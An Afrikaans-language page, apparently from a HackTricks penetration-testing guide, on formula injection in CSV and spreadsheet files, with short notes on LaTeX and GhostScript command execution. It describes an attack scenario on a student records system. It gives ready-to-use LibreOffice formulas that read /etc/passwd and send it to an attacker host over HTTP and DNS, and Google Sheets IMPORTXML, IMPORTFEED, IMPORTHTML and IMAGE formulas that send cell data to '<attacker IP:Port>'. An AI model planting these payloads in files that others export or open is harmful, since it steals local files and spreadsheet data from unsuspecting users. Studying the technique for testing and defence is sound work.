Formula/CSV/Doc/LaTeX/GhostScript Injection
Last updated
Last updated
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
As jou invoer binne CSV lêers (of enige ander lêer wat waarskynlik deur Excel geopen gaan word) reflekteer word, kan jy dalk Excel formules plaas wat uitgevoer sal word wanneer die gebruiker die lêer open of wanneer die gebruiker op 'n skakel in die excel bladsy klik.
Tans sal Excel waarsku (verskeie kere) die gebruiker wanneer iets van buite die Excel gelaai word om te voorkom dat hy kwaadwillige aksies onderneem. Daarom moet spesiale moeite in Sosiale Ingenieurswese gedoen word op die finale payload.
Die volgende voorbeeld is baie nuttig om inhoud uit die finale excel-skaak te onttrek en om versoeke na arbitrêre plekke te doen. Maar dit vereis dat die gebruiker op die skakel klik (en die waarskuwingstoets aanvaar).
Die volgende voorbeeld is geneem van https://payatu.com/csv-injection-basic-to-exploit
Stel jou 'n sekuriteitsbreuk in 'n Student Rekordbestuurstelsel voor wat deur 'n CSV-inspuitaanval uitgebuit word. Die aanvaller se primêre bedoeling is om die stelsel wat deur onderwysers gebruik word om studentbesonderhede te bestuur, te kompromitteer. Die metode behels dat die aanvaller 'n kwaadwillige payload in die toepassing inspuit, spesifiek deur skadelike formules in velde wat vir studentbesonderhede bedoel is, in te voer. Die aanval ontvou soos volg:
Inspuiting van Kwaadwillige Payload:
Die aanvaller dien 'n studentbesonderheidvorm in, maar sluit 'n formule in wat algemeen in sigbladsy gebruik word (bv. =HYPERLINK("<malicious_link>","Click here")
).
Hierdie formule is ontwerp om 'n hyperlink te skep, maar dit wys na 'n kwaadwillige bediener wat deur die aanvaller beheer word.
Uitvoer van Gecompromitteerde Gegewens:
Onderwysers, onbewus van die kompromie, gebruik die toepassing se funksionaliteit om die data in 'n CSV-lêer uit te voer.
Die CSV-lêer, wanneer dit geopen word, bevat steeds die kwaadwillige payload. Hierdie payload verskyn as 'n klikbare hyperlink in die sigbladsy.
Aktivering van die Aanval:
'n Onderwyser klik op die hyperlink, in die geloof dat dit 'n legitieme deel van die student se besonderhede is.
By die klik word sensitiewe data (potensieel insluitend besonderhede van die sigbladsy of die onderwyser se rekenaar) na die aanvaller se bediener oorgedra.
Teken die Data aan:
Die aanvaller se bediener ontvang en teken die sensitiewe data wat van die onderwyser se rekenaar gestuur is, aan.
Die aanvaller kan dan hierdie data vir verskeie kwaadwillige doeleindes gebruik, wat die privaatheid en sekuriteit van die studente en die instelling verder kompromitteer.
Kyk na die oorspronklike pos vir verdere besonderhede.
In spesifieke konfigurasies of ouer weergawes van Excel kan 'n funksie genaamd Dynamiese Data-uitruiling (DDE) uitgebuit word om arbitrêre opdragte uit te voer. Om hiervan gebruik te maak, moet die volgende instellings geaktiveer word:
Navigeer na Lêer → Opsies → Vertrouensentrum → Vertrouensentrum Instellings → Eksterne Inhoud, en aktiveer Dynamiese Data-uitruiling Bediener Begin.
Wanneer 'n sigblad met die kwaadwillige payload geopen word (en as die gebruiker die waarskuwings aanvaar), word die payload uitgevoer. Byvoorbeeld, om die sakrekenaartoepassing te begin, sou die payload wees:
Aanvullende opdragte kan ook uitgevoer word, soos om 'n lêer af te laai en uit te voer met PowerShell:
LibreOffice Calc kan gebruik word om plaaslike lêers te lees en data te exfiltreer. Hier is 'n paar metodes:
Lees die eerste lyn van die plaaslike /etc/passwd
lêer: ='file:///etc/passwd'#$passwd.A1
Exfiltreer die geleesde data na 'n aanvaller-beheerde bediener: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
Exfiltreer meer as een lyn: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
DNS exfiltrasie (stuur geleesde data as DNS navrae na 'n aanvaller-beheerde DNS bediener): =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))
Google Sheets bied funksies wat uitgebuit kan word vir OOB data exfiltrasie:
CONCATENATE: Voeg strings saam - =CONCATENATE(A2:E2)
IMPORTXML: Importeer data van gestruktureerde datatipe - =IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
IMPORTFEED: Importeer RSS of ATOM feeds - =IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
IMPORTHTML: Importeer data van HTML tafels of lyste - =IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
IMPORTRANGE: Importeer 'n reeks selle van 'n ander sigblad - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
IMAGE: Voeg 'n beeld in 'n sel in - =IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")
Gewoonlik gebruik die bedieners wat op die internet gevind word wat LaTeX kode na PDF omskakel pdflatex
.
Hierdie program gebruik 3 hoofkenmerke om (nie)opdrag uitvoering toe te laat nie:
--no-shell-escape
: Deaktiveer die \write18{command}
konstruksie, selfs al is dit geaktiveer in die texmf.cnf lêer.
--shell-restricted
: Dieselfde as --shell-escape
, maar beperk tot 'n 'veilige' stel voorgedefinieerde **opdragte (**Op Ubuntu 16.04 is die lys in /usr/share/texmf/web2c/texmf.cnf
).
--shell-escape
: Aktiveer die \write18{command}
konstruksie. Die opdrag kan enige shell opdrag wees. Hierdie konstruksie word normaalweg om veiligheidsredes verbied.
Daar is egter ander maniere om opdragte uit te voer, so om RCE te vermy is dit baie belangrik om --shell-restricted
te gebruik.
Jy mag dalk die inspuiting met wrappers soos [ of $ moet aanpas.
Die invoer van die opdrag sal na stdin herlei word, gebruik 'n tydelike lêer om dit te verkry.
As jy enige LaTex-fout kry, oorweeg dit om base64 te gebruik om die resultaat sonder slegte karakters te verkry.
Van @EdOverflow
Kontroleer https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)